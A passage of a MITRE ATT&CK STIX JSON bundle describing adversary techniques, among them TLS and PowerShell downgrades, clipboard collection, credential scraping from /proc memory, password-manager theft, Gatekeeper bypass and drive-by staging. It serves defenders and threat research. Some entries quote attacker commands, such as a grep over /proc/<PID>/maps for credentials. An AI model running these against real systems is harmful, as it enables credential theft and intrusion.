                    "description": "Praetorian. (2014, August 19). Man-in-the-Middle TLS Protocol Downgrade Attack. Retrieved October 8, 2021.",
                    "url": "https://www.praetorian.com/blog/man-in-the-middle-tls-ssl-protocol-downgrade-attack/"
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            "modified": "2026-05-12T15:12:00.624Z",
            "name": "Downgrade Attack",
            "description": "Adversaries may downgrade or use a version of system features that may be outdated, vulnerable, and/or does not support updated security controls. Downgrade attacks typically take advantage of a system\u2019s backward compatibility to force it into less secure modes of operation.\n\nAdversaries may downgrade and use various less-secure versions of features of a system, such as [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) or even network protocols that can be abused to enable [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) or [Network Sniffing](https://attack.mitre.org/techniques/T1040).(Citation: Praetorian TLS Downgrade Attack 2014) For example, [PowerShell](https://attack.mitre.org/techniques/T1059/001) versions 5+ includes Script Block Logging (SBL), which can record executed script content. However, adversaries may attempt to execute a previous version of PowerShell that does not support SBL with the intent to impair defenses while running malicious scripts that may have otherwise been detected.(Citation: CrowdStrike downgrade attack)(Citation: Google Cloud downgrade attack)(Citation: att_def_ps_logging)\n\nAdversaries may similarly target network traffic to downgrade from an encrypted HTTPS connection to an unsecured HTTP connection that exposes network data in clear text.(Citation: Targeted SSL Stripping Attacks Are Real)(Citation: CrowdStrike Downgrade attack 2) On Windows systems, adversaries may downgrade the boot manager to a vulnerable version that bypasses Secure Boot, granting the ability to disable various operating system security mechanisms.(Citation: SafeBreach)",
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                    "phase_name": "defense-impairment"
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            ],
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            "x_mitre_contributors": [
                "Arad Inbar, Fidelis Security",
                "Daniel Feichter, @VirtualAllocEx, Infosec Tirol",
                "Mayuresh Dani, Qualys"
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            "x_mitre_deprecated": false,
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": false,
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        {
            "type": "attack-pattern",
            "id": "attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f",
            "created": "2017-05-31T21:31:25.967Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1115",
                    "external_id": "T1115"
                },
                {
                    "source_name": "CISA_AA21_200B",
                    "description": "CISA. (2021, August 20). Alert (AA21-200B) Chinese State-Sponsored Cyber Operations: Observed TTPs. Retrieved June 21, 2022.",
                    "url": "https://www.cisa.gov/uscert/ncas/alerts/aa21-200b"
                },
                {
                    "source_name": "mining_ruby_reversinglabs",
                    "description": "Maljic, T. (2020, April 16). Mining for malicious Ruby gems. Retrieved October 15, 2022.",
                    "url": "https://blog.reversinglabs.com/blog/mining-for-malicious-ruby-gems"
                },
                {
                    "source_name": "clip_win_server",
                    "description": "Microsoft, JasonGerend, et al. (2023, February 3). clip. Retrieved June 21, 2022.",
                    "url": "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/clip"
                },
                {
                    "source_name": "MSDN Clipboard",
                    "description": "Microsoft. (n.d.). About the Clipboard. Retrieved March 29, 2016.",
                    "url": "https://msdn.microsoft.com/en-us/library/ms649012"
                },
                {
                    "source_name": "Operating with EmPyre",
                    "description": "rvrsh3ll. (2016, May 18). Operating with EmPyre. Retrieved July 12, 2017.",
                    "url": "https://medium.com/rvrsh3ll/operating-with-empyre-ea764eda3363"
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            "modified": "2026-05-12T15:12:00.624Z",
            "name": "Clipboard Data",
            "description": "Adversaries may collect data stored in the clipboard from users copying information within or between applications. \n\nFor example, on Windows adversaries can access clipboard data by using <code>clip.exe</code> or <code>Get-Clipboard</code>.(Citation: MSDN Clipboard)(Citation: clip_win_server)(Citation: CISA_AA21_200B) Additionally, adversaries may monitor then replace users\u2019 clipboard with their data (e.g., [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002)).(Citation: mining_ruby_reversinglabs)\n\nmacOS and Linux also have commands, such as <code>pbpaste</code>, to grab clipboard contents.(Citation: Operating with EmPyre)",
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                    "url": "https://attack.mitre.org/techniques/T1003/007",
                    "external_id": "T1003.007"
                },
                {
                    "source_name": "atomic-red proc file system",
                    "description": "Atomic Red Team. (2023, November). T1003.007 - OS Credential Dumping: Proc Filesystem. Retrieved March 28, 2024.",
                    "url": "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1003.007/T1003.007.md"
                },
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                    "source_name": "baeldung Linux proc map 2022",
                    "description": "baeldung. (2022, April 8). Understanding the Linux /proc/id/maps File. Retrieved March 31, 2023.",
                    "url": "https://www.baeldung.com/linux/proc-id-maps"
                },
                {
                    "source_name": "Polop Linux PrivEsc Gitbook",
                    "description": "Carlos Polop. (2023, March 5). Linux Privilege Escalation. Retrieved March 31, 2023.",
                    "url": "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#proc-usdpid-maps-and-proc-usdpid-mem"
                },
                {
                    "source_name": "MimiPenguin GitHub May 2017",
                    "description": "Gregal, H. (2017, May 12). MimiPenguin. Retrieved December 5, 2017.",
                    "url": "https://github.com/huntergregal/mimipenguin"
                },
                {
                    "source_name": "Picus Labs Proc cump 2022",
                    "description": "Huseyin Can YUCEEL & Picus Labs. (2022, March 22). Retrieved March 31, 2023.",
                    "url": "https://www.picussecurity.com/resource/the-mitre-attck-t1003-os-credential-dumping-technique-and-its-adversary-use"
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            "modified": "2025-10-24T17:48:36.165Z",
            "name": "Proc Filesystem",
            "description": "Adversaries may gather credentials from the proc filesystem or `/proc`. The proc filesystem is a pseudo-filesystem used as an interface to kernel data structures for Linux based systems managing virtual memory. For each process, the `/proc/<PID>/maps` file shows how memory is mapped within the process\u2019s virtual address space. And `/proc/<PID>/mem`, exposed for debugging purposes, provides access to the process\u2019s virtual address space.(Citation: Picus Labs Proc cump 2022)(Citation: baeldung Linux proc map 2022)\n\nWhen executing with root privileges, adversaries can search these memory locations for all processes on a system that contain patterns indicative of credentials. Adversaries may use regex patterns, such as <code>grep -E \"^[0-9a-f-]* r\" /proc/\"$pid\"/maps | cut -d' ' -f 1</code>, to look for fixed strings in memory structures or cached hashes.(Citation: atomic-red proc file system) When running without privileged access, processes can still view their own virtual memory locations. Some services or programs may save credentials in clear text inside the process\u2019s memory.(Citation: MimiPenguin GitHub May 2017)(Citation: Polop Linux PrivEsc Gitbook)\n\nIf running as or with the permissions of a web browser, a process can search the `/maps` & `/mem` locations for common website credential patterns (that can also be used to find adjacent memory within the same structure) in which hashes or cleartext credentials may be located.",
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            "x_mitre_contributors": [
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            "type": "attack-pattern",
            "id": "attack-pattern--31225cd3-cd46-4575-b287-c2c14011c074",
            "created": "2020-10-01T00:49:05.467Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1583/005",
                    "external_id": "T1583.005"
                },
                {
                    "source_name": "Krebs-Booter",
                    "description": "Brian Krebs. (2016, October 27). Are the Days of \u201cBooter\u201d Services Numbered?. Retrieved May 15, 2017.",
                    "url": "https://krebsonsecurity.com/2016/10/are-the-days-of-booter-services-numbered/"
                },
                {
                    "source_name": "Krebs-Bazaar",
                    "description": "Brian Krebs. (2016, October 31). Hackforums Shutters Booter Service Bazaar. Retrieved May 15, 2017.",
                    "url": "https://krebsonsecurity.com/2016/10/hackforums-shutters-booter-service-bazaar/"
                },
                {
                    "source_name": "Krebs-Anna",
                    "description": "Brian Krebs. (2017, January 18). Who is Anna-Senpai, the Mirai Worm Author?. Retrieved May 15, 2017.",
                    "url": "https://krebsonsecurity.com/2017/01/who-is-anna-senpai-the-mirai-worm-author/"
                },
                {
                    "source_name": "Imperva DDoS for Hire",
                    "description": "Imperva. (n.d.). Booters, Stressers and DDoSers. Retrieved October 4, 2020.",
                    "url": "https://www.imperva.com/learn/ddos/booters-stressers-ddosers/"
                },
                {
                    "source_name": "Norton Botnet",
                    "description": "Norton. (n.d.). What is a botnet?. Retrieved October 4, 2020.",
                    "url": "https://us.norton.com/internetsecurity-malware-what-is-a-botnet.html"
                },
                {
                    "source_name": "ORB Mandiant",
                    "description": "Raggi, Michael. (2024, May 22). IOC Extinction? China-Nexus Cyber Espionage Actors Use ORB Networks to Raise Cost on Defenders. Retrieved July 8, 2024.",
                    "url": "https://cloud.google.com/blog/topics/threat-intelligence/china-nexus-espionage-orb-networks"
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            "modified": "2025-10-24T17:48:36.255Z",
            "name": "Botnet",
            "description": "Adversaries may buy, lease, or rent a network of compromised systems\u00a0that can be used during targeting. A botnet is a network of compromised systems that can be instructed to perform coordinated tasks.(Citation: Norton Botnet) Adversaries may purchase a subscription to use an existing botnet from a booter/stresser service. \n\nInternet-facing edge devices and related network appliances that are end-of-life (EOL) and unsupported by their manufacturers are commonly acquired for botnet activities. Adversaries may lease operational relay box (ORB) networks \u2013 consisting of virtual private servers (VPS), small office/home office (SOHO) routers, or Internet of Things (IoT) devices \u2013 to serve as a botnet.(Citation: ORB Mandiant) \n\nWith a botnet at their disposal, adversaries may perform follow-on activity such as large-scale [Phishing](https://attack.mitre.org/techniques/T1566) or Distributed Denial of Service (DDoS).(Citation: Imperva DDoS for Hire)(Citation: Krebs-Anna)(Citation: Krebs-Bazaar)(Citation: Krebs-Booter) Acquired botnets may also be used to support Command and Control activity, such as [Hide Infrastructure](https://attack.mitre.org/techniques/T1665) through an established [Proxy](https://attack.mitre.org/techniques/T1090) network.\n\n",
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                    "phase_name": "resource-development"
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            "x_mitre_deprecated": false,
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": true,
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            "type": "attack-pattern",
            "id": "attack-pattern--315f51f0-6b03-4c1e-bfb2-84740afb8e21",
            "created": "2021-01-22T16:08:40.629Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1555/005",
                    "external_id": "T1555.005"
                },
                {
                    "source_name": "Cyberreason Anchor December 2019",
                    "description": "Dahan, A. et al. (2019, December 11). DROPPING ANCHOR: FROM A TRICKBOT INFECTION TO THE DISCOVERY OF THE ANCHOR MALWARE. Retrieved September 10, 2020.",
                    "url": "https://www.cybereason.com/blog/dropping-anchor-from-a-trickbot-infection-to-the-discovery-of-the-anchor-malware"
                },
                {
                    "source_name": "FoxIT Wocao December 2019",
                    "description": "Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China\u2019s hidden hacking groups. Retrieved October 8, 2020.",
                    "url": "https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf"
                },
                {
                    "source_name": "ise Password Manager February 2019",
                    "description": "ise. (2019, February 19). Password Managers: Under the Hood of Secrets Management. Retrieved January 22, 2021.",
                    "url": "https://www.ise.io/casestudies/password-manager-hacking/"
                },
                {
                    "source_name": "Github KeeThief",
                    "description": "Lee, C., Schoreder, W. (n.d.). KeeThief. Retrieved February 8, 2021.",
                    "url": "https://github.com/GhostPack/KeeThief"
                },
                {
                    "source_name": "NVD CVE-2019-3610",
                    "description": "National Vulnerability Database. (2019, October 9). CVE-2019-3610 Detail. Retrieved April 14, 2021.",
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-3610"
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            "name": "Password Managers",
            "description": "Adversaries may acquire user credentials from third-party password managers.(Citation: ise Password Manager February 2019) Password managers are applications designed to store user credentials, normally in an encrypted database. Credentials are typically accessible after a user provides a master password that unlocks the database. After the database is unlocked, these credentials may be copied to memory. These databases can be stored as files on disk.(Citation: ise Password Manager February 2019)\n\nAdversaries may acquire user credentials from password managers by extracting the master password and/or plain-text credentials from memory.(Citation: FoxIT Wocao December 2019)(Citation: Github KeeThief) Adversaries may extract credentials from memory via [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212).(Citation: NVD CVE-2019-3610)\n Adversaries may also try brute forcing via [Password Guessing](https://attack.mitre.org/techniques/T1110/001) to obtain the master password of a password manager.(Citation: Cyberreason Anchor December 2019)",
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            "x_mitre_deprecated": false,
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            "id": "attack-pattern--317fefa6-46c7-4062-adb6-2008cf6bcb41",
            "created": "2017-05-31T21:31:15.409Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1103",
                    "external_id": "T1103"
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                {
                    "source_name": "Elastic Process Injection July 2017",
                    "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
                    "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
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                {
                    "source_name": "AppInit Registry",
                    "description": "Microsoft. (2006, October). Working with the AppInit_DLLs registry value. Retrieved July 15, 2015.",
                    "url": "https://support.microsoft.com/en-us/kb/197571"
                },
                {
                    "source_name": "AppInit Secure Boot",
                    "description": "Microsoft. (n.d.). AppInit DLLs and Secure Boot. Retrieved July 15, 2015.",
                    "url": "https://msdn.microsoft.com/en-us/library/dn280412"
                },
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                    "source_name": "TechNet Autoruns",
                    "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
                    "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902"
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            "name": "AppInit DLLs",
            "description": "Dynamic-link libraries (DLLs) that are specified in the AppInit_DLLs value in the Registry keys <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows</code> or <code>HKEY_LOCAL_MACHINE\\Software\\Wow6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Windows</code> are loaded by user32.dll into every process that loads user32.dll. In practice this is nearly every program, since user32.dll is a very common library. (Citation: Elastic Process Injection July 2017) Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values can be abused to obtain persistence and privilege escalation by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. (Citation: AppInit Registry)\n\nThe AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled. (Citation: AppInit Secure Boot)",
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            "x_mitre_deprecated": false,
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            "id": "attack-pattern--31a0a2ac-c67c-4a7e-b9ed-6a96477d4e8e",
            "created": "2020-02-05T16:16:08.471Z",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1553/001",
                    "external_id": "T1553.001"
                },
                {
                    "source_name": "Application Bundle Manipulation Brandon Dalton",
                    "description": "Brandon Dalton. (2022, August 9). A bundle of nerves: Tweaking macOS security controls to thwart application bundle manipulation. Retrieved September 27, 2022.",
                    "url": "https://redcanary.com/blog/mac-application-bundles/"
                },
                {
                    "source_name": "theevilbit gatekeeper bypass 2021",
                    "description": "Csaba Fitzl. (2021, June 29). GateKeeper - Not a Bypass (Again). Retrieved September 22, 2021.",
                    "url": "https://theevilbit.github.io/posts/gatekeeper_not_a_bypass/"
                },
                {
                    "source_name": "OceanLotus for OS X",
                    "description": "Eddie Lee. (2016, February 17). OceanLotus for OS X - an Application Bundle Pretending to be an Adobe Flash Update. Retrieved July 5, 2017.",
                    "url": "https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update"
                },
                {
                    "source_name": "TheEclecticLightCompany Quarantine and the flag",
                    "description": "hoakley. (2020, October 29). Quarantine and the quarantine flag. Retrieved September 13, 2021.",
                    "url": "https://eclecticlight.co/2020/10/29/quarantine-and-the-quarantine-flag/"
                },
                {
                    "source_name": "TheEclecticLightCompany apple notarization ",
                    "description": "How Notarization Works. (2020, August 28). How notarization works. Retrieved September 13, 2021.",
                    "url": "https://eclecticlight.co/2020/08/28/how-notarization-works/"
                },
                {
                    "source_name": "20 macOS Common Tools and Techniques",
                    "description": "Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021.",
                    "url": "https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/"
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            "name": "Gatekeeper Bypass",
            "description": "Adversaries may modify file attributes and subvert Gatekeeper functionality to evade user prompts and execute untrusted programs. Gatekeeper is a set of technologies that act as layer of Apple\u2019s security model to ensure only trusted applications are executed on a host. Gatekeeper was built on top of File Quarantine in Snow Leopard (10.6, 2009) and has grown to include Code Signing, security policy compliance, Notarization, and more. Gatekeeper also treats applications running for the first time differently than reopened applications.(Citation: TheEclecticLightCompany Quarantine and the flag)(Citation: TheEclecticLightCompany apple notarization )\n\nBased on an opt-in system, when files are downloaded an extended attribute (xattr) called `com.apple.quarantine` (also known as a quarantine flag) can be set on the file by the application performing the download. Launch Services opens the application in a suspended state. For first run applications with the quarantine flag set, Gatekeeper executes the following functions:\n\n1. Checks extended attribute \u2013 Gatekeeper checks for the quarantine flag, then provides an alert prompt to the user to allow or deny execution.(Citation: OceanLotus for OS X)(Citation: 20 macOS Common Tools and Techniques)\n\n2. Checks System Policies - Gatekeeper checks the system security policy, allowing execution of apps downloaded from either just the App Store or the App Store and identified developers.\n\n3. Code Signing \u2013 Gatekeeper checks for a valid code signature from an Apple Developer ID.\n\n4. Notarization - Using the `api.apple-cloudkit.com` API, Gatekeeper reaches out to Apple servers to verify or pull down the notarization ticket and ensure the ticket is not revoked. Users can override notarization, which will result in a prompt of executing an \u201cunauthorized app\u201d and the security policy will be modified.\n\nAdversaries can subvert one or multiple security controls within Gatekeeper checks through logic errors (e.g. [Exploitation for Stealth](https://attack.mitre.org/techniques/T1211)), unchecked file types, and external libraries. For example, prior to macOS 13 Ventura, code signing and notarization checks were only conducted on first launch, allowing adversaries to write malicious executables to previously opened applications in order to bypass Gatekeeper security checks.(Citation: theevilbit gatekeeper bypass 2021)(Citation: Application Bundle Manipulation Brandon Dalton)\n\nApplications and files loaded onto the system from a USB flash drive, optical disk, external hard drive, from a drive shared over the local network, or using the curl command may not set the quarantine flag. Additionally, it is possible to avoid setting the quarantine flag using [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).",
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            "id": "attack-pattern--31e5011f-090e-45be-9bb6-17a1c5e8219b",
            "created": "2025-03-28T14:01:52.810Z",
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                    "url": "https://attack.mitre.org/techniques/T1675",
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                {
                    "source_name": "Google Cloud Threat Intelligence VMWare ESXi Zero-Day 2023",
                    "description": "Alexander Marvi, Brad Slaybaugh, Ron Craft, and Rufus Brown. (2023, June 13). VMware ESXi Zero-Day Used by Chinese Espionage Actor to Perform Privileged Guest Operations on Compromised Hypervisors. Retrieved March 26, 2025.",
                    "url": "https://cloud.google.com/blog/topics/threat-intelligence/vmware-esxi-zero-day-bypass/"
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                {
                    "source_name": "Broadcom Running Guest OS Operations",
                    "description": "Broadcom. (n.d.). Running Guest OS Operations. Retrieved March 28, 2025.",
                    "url": "https://techdocs.broadcom.com/us/en/vmware-cis/vsphere/vsphere-sdks-tools/8-0/web-services-sdk-programming-guide/virtual-machine-guest-operations/running-guest-os-operations.html"
                },
                {
                    "source_name": "Broadcom VMware Tools Services",
                    "description": "Broadcom. (n.d.). VMware Tools Services. Retrieved March 28, 2025.",
                    "url": "https://techdocs.broadcom.com/us/en/vmware-cis/vsphere/tools/12-4-0/vmware-tools-administration-12-4-0/introduction-to-vmware-tools/vmware-tools-service.html"
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            "name": "ESXi Administration Command",
            "description": "Adversaries may abuse ESXi administration services to execute commands on guest machines hosted within an ESXi virtual environment. Persistent background services on ESXi-hosted VMs, such as the VMware Tools Daemon Service, allow for remote management from the ESXi server. The tools daemon service runs as `vmtoolsd.exe` on Windows guest operating systems, `vmware-tools-daemon` on macOS, and `vmtoolsd ` on Linux.(Citation: Broadcom VMware Tools Services) \n\nAdversaries may leverage a variety of tools to execute commands on ESXi-hosted VMs \u2013 for example, by using the vSphere Web Services SDK to programmatically execute commands and scripts via APIs such as `StartProgramInGuest`, `ListProcessesInGuest`,  `ListFileInGuest`, and `InitiateFileTransferFromGuest`.(Citation: Google Cloud Threat Intelligence VMWare ESXi Zero-Day 2023)(Citation: Broadcom Running Guest OS Operations) This may enable follow-on behaviors on the guest VMs, such as [File and Directory Discovery](https://attack.mitre.org/techniques/T1083), [Data from Local System](https://attack.mitre.org/techniques/T1005), or [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). ",
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            "created": "2021-03-17T20:33:20.127Z",
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                    "url": "https://attack.mitre.org/techniques/T1608/004",
                    "external_id": "T1608.004"
                },
                {
                    "source_name": "ATT ScanBox",
                    "description": "Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020.",
                    "url": "https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks"
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                    "source_name": "Gallagher 2015",
                    "description": "Gallagher, S.. (2015, August 5). Newly discovered Chinese hacking group hacked 100+ websites to use as \u201cwatering holes\u201d. Retrieved January 25, 2016.",
                    "url": "http://arstechnica.com/security/2015/08/newly-discovered-chinese-hacking-group-hacked-100-websites-to-use-as-watering-holes/"
                },
                {
                    "source_name": "FireEye CFR Watering Hole 2012",
                    "description": "Kindlund, D. (2012, December 30). CFR Watering Hole Attack Details. Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20201024230407/https://www.fireeye.com/blog/threat-research/2012/12/council-foreign-relations-water-hole-attack-details.html"
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            "name": "Drive-by Target",
            "description": "Adversaries may prepare an operational environment to infect systems that visit a website over the normal course of browsing. Endpoint systems may be compromised through browsing to adversary controlled sites, as in [Drive-by Compromise](https://attack.mitre.org/techniques/T1189). In such cases, the user's web browser is typically targeted for exploitation (often not requiring any extra user interaction once landing on the site), but adversaries may also set up websites for non-exploitation behavior such as [Application Access Token](https://attack.mitre.org/techniques/T1550/001). Prior to [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), adversaries must stage resources needed to deliver that exploit to users who browse to an adversary controlled site. Drive-by content can be staged on adversary controlled infrastructure that has been acquired ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or previously compromised ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)).\n\nAdversaries may upload or inject malicious web content, such as [JavaScript](https://attack.mitre.org/techniques/T1059/007), into websites.(Citation: FireEye CFR Watering Hole 2012)(Citation: Gallagher 2015) This may be done in a number of ways, including:\n\n* Inserting malicious scripts into web pages or other user controllable web content such as forum posts\n* Modifying script files served to websites from publicly writeable cloud storage buckets\n* Crafting malicious web advertisements and purchasing ad space on a website through legitimate ad providers (i.e., [Malvertising](https://attack.mitre.org/techniques/T1583/008))\n\nIn addition to staging content to exploit a user's web browser, adversaries may also stage scripting content to profile the user's browser (as in [Gather Victim Host Information](https://attack.mitre.org/techniques/T1592)) to ensure it is vulnerable prior to attempting exploitation.(Citation: ATT ScanBox)\n\nWebsites compromised by an adversary and used to stage a drive-by may be ones visited by a specific community, such as government, a particular industry, or region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted campaign is referred to a strategic web compromise or watering hole attack.\n\nAdversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) during acquisition of infrastructure ([Domains](https://attack.mitre.org/techniques/T1583/001)) to help facilitate [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).",
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                {
                    "source_name": "Aquasec Kinsing 2020",
                    "description": "Gal Singer. (2020, April 3). Threat Alert: Kinsing Malware Attacks Targeting Container Environments. Retrieved May 22, 2025.",
                    "url": "https://www.aquasec.com/blog/threat-alert-kinsing-malware-container-vulnerability/"
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                    "source_name": "Elastic Security Labs GOSAR 2024",
                    "description": "Jia Yu Chan, Salim Bitam, Daniel Stepanic, and Seth Goodwin. (2024, December 12). Under the SADBRIDGE with GOSAR: QUASAR Gets a Golang Rewrite. Retrieved May 22, 2025.",
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                    "source_name": "SentinelLabs macOS Malware 2021",
                    "description": "Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved May 22, 2025.",
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                    "description": "Splunk Threat Research Team , Teoderick Contreras. (2024, July 15). Breaking Down Linux.Gomir: Understanding this Backdoor\u2019s TTPs. Retrieved May 22, 2025.",
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            "description": "Adversaries may try to gather information about registered local system services. Adversaries may obtain information about services using tools as well as OS utility commands such as <code>sc query</code>, <code>tasklist /svc</code>, <code>systemctl --type=service</code>, and <code>net start</code>. Adversaries may also gather information about schedule tasks via commands such as `schtasks` on Windows or `crontab -l` on Linux and macOS.(Citation: Elastic Security Labs GOSAR 2024)(Citation: SentinelLabs macOS Malware 2021)(Citation: Splunk Linux Gormir 2024)(Citation: Aquasec Kinsing 2020)\n\nAdversaries may use the information from [System Service Discovery](https://attack.mitre.org/techniques/T1007) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.",
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                    "external_id": "T1040"
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                    "source_name": "AWS Traffic Mirroring",
                    "description": "Amazon Web Services. (n.d.). How Traffic Mirroring works. Retrieved March 17, 2022.",
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                    "description": "Cisco. (2022, August 17). Configure and Capture Embedded Packet on Software. Retrieved July 13, 2022.",
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                    "description": "Google Cloud. (n.d.). Packet Mirroring overview. Retrieved March 17, 2022.",
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                    "source_name": "SpecterOps AWS Traffic Mirroring",
                    "description": "Luke Paine. (2020, March 11). Through the Looking Glass \u2014 Part 1. Retrieved March 17, 2022.",
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                    "source_name": "Azure Virtual Network TAP",
                    "description": "Microsoft. (2022, February 9). Virtual network TAP. Retrieved March 17, 2022.",
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                {
                    "source_name": "Rhino Security Labs AWS VPC Traffic Mirroring",
                    "description": "Spencer Gietzen. (2019, September 17). Abusing VPC Traffic Mirroring in AWS. Retrieved March 17, 2022.",
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                    "source_name": "US-CERT-TA18-106A",
                    "description": "US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.",
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            "description": "Adversaries may deploy malicious software to systems within a network using application deployment systems employed by enterprise administrators. The permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the deployment server, or specific domain credentials may be required. However, the system may require an administrative account to log in or to perform software deployment.\n\nAccess to a network-wide or enterprise-wide software deployment system enables an adversary to have remote code execution on all systems that are connected to such a system. The access may be used to laterally move to systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints.",
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                    "source_name": "EclecticLightChecksonEXECodeSigning",
                    "description": "Howard Oakley. (2020, November 16). Checks on executable code in Catalina and Big Sur: a first draft. Retrieved September 21, 2022.",
                    "url": "https://eclecticlight.co/2020/11/16/checks-on-executable-code-in-catalina-and-big-sur-a-first-draft/"
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                {
                    "source_name": "Securelist Digital Certificates",
                    "description": "Ladikov, A. (2015, January 29). Why You Shouldn\u2019t Completely Trust Files Signed with Digital Certificates. Retrieved March 31, 2016.",
                    "url": "https://securelist.com/why-you-shouldnt-completely-trust-files-signed-with-digital-certificates/68593/"
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                    "source_name": "Symantec Digital Certificates",
                    "description": "Shinotsuka, H. (2013, February 22). How Attackers Steal Private Keys from Digital Certificates. Retrieved March 31, 2016.",
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                    "source_name": "Wikipedia Code Signing",
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                {
                    "source_name": "Amazon S3 Security, 2019",
                    "description": "Amazon. (2019, May 17). How can I secure the files in my Amazon S3 bucket?. Retrieved October 4, 2019.",
                    "url": "https://aws.amazon.com/premiumsupport/knowledge-center/secure-s3-resources/"
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                {
                    "source_name": "Microsoft Azure Storage Security, 2019",
                    "description": "Amlekar, M., Brooks, C., Claman, L., et. al.. (2019, March 20). Azure Storage security guide. Retrieved October 4, 2019.",
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                    "source_name": "Wired Magecart S3 Buckets, 2019",
                    "description": "Barrett, B.. (2019, July 11). Hack Brief: A Card-Skimming Hacker Group Hit 17K Domains\u2014and Counting. Retrieved October 4, 2019.",
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                    "source_name": "Google Cloud Storage Best Practices, 2019",
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                    "source_name": "HIPAA Journal S3 Breach, 2017",
                    "description": "HIPAA Journal. (2017, October 11). 47GB of Medical Records and Test Results Found in Unsecured Amazon S3 Bucket. Retrieved October 4, 2019.",
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                {
                    "source_name": "Rclone-mega-extortion_05_2021",
                    "description": "Justin Schoenfeld, Aaron Didier. (2021, May 4). Transferring leverage in a ransomware attack. Retrieved July 14, 2022.",
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                {
                    "source_name": "Trend Micro S3 Exposed PII, 2017",
                    "description": "Trend Micro. (2017, November 6). A Misconfigured Amazon S3 Exposed Almost 50 Thousand PII in Australia. Retrieved October 4, 2019.",
                    "url": "https://www.trendmicro.com/vinfo/us/security/news/virtualization-and-cloud/a-misconfigured-amazon-s3-exposed-almost-50-thousand-pii-in-australia"
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            "name": "Data from Cloud Storage",
            "description": "Adversaries may access data from cloud storage.\n\nMany IaaS providers offer solutions for online data object storage such as Amazon S3, Azure Storage, and Google Cloud Storage. Similarly, SaaS enterprise platforms such as Office 365 and Google Workspace provide cloud-based document storage to users through services such as OneDrive and Google Drive, while SaaS application providers such as Slack, Confluence, Salesforce, and Dropbox may provide cloud storage solutions as a peripheral or primary use case of their platform. \n\nIn some cases, as with IaaS-based cloud storage, there exists no overarching application (such as SQL or Elasticsearch) with which to interact with the stored objects: instead, data from these solutions is retrieved directly though the [Cloud API](https://attack.mitre.org/techniques/T1059/009). In SaaS applications, adversaries may be able to collect this data directly from APIs or backend cloud storage objects, rather than through their front-end application or interface (i.e., [Data from Information Repositories](https://attack.mitre.org/techniques/T1213)). \n\nAdversaries may collect sensitive data from these cloud storage solutions. Providers typically offer security guides to help end users configure systems, though misconfigurations are a common problem.(Citation: Amazon S3 Security, 2019)(Citation: Microsoft Azure Storage Security, 2019)(Citation: Google Cloud Storage Best Practices, 2019) There have been numerous incidents where cloud storage has been improperly secured, typically by unintentionally allowing public access to unauthenticated users, overly-broad access by all users, or even access for any anonymous person outside the control of the Identity Access Management system without even needing basic user permissions.\n\nThis open access may expose various types of sensitive data, such as credit cards, personally identifiable information, or medical records.(Citation: Trend Micro S3 Exposed PII, 2017)(Citation: Wired Magecart S3 Buckets, 2019)(Citation: HIPAA Journal S3 Breach, 2017)(Citation: 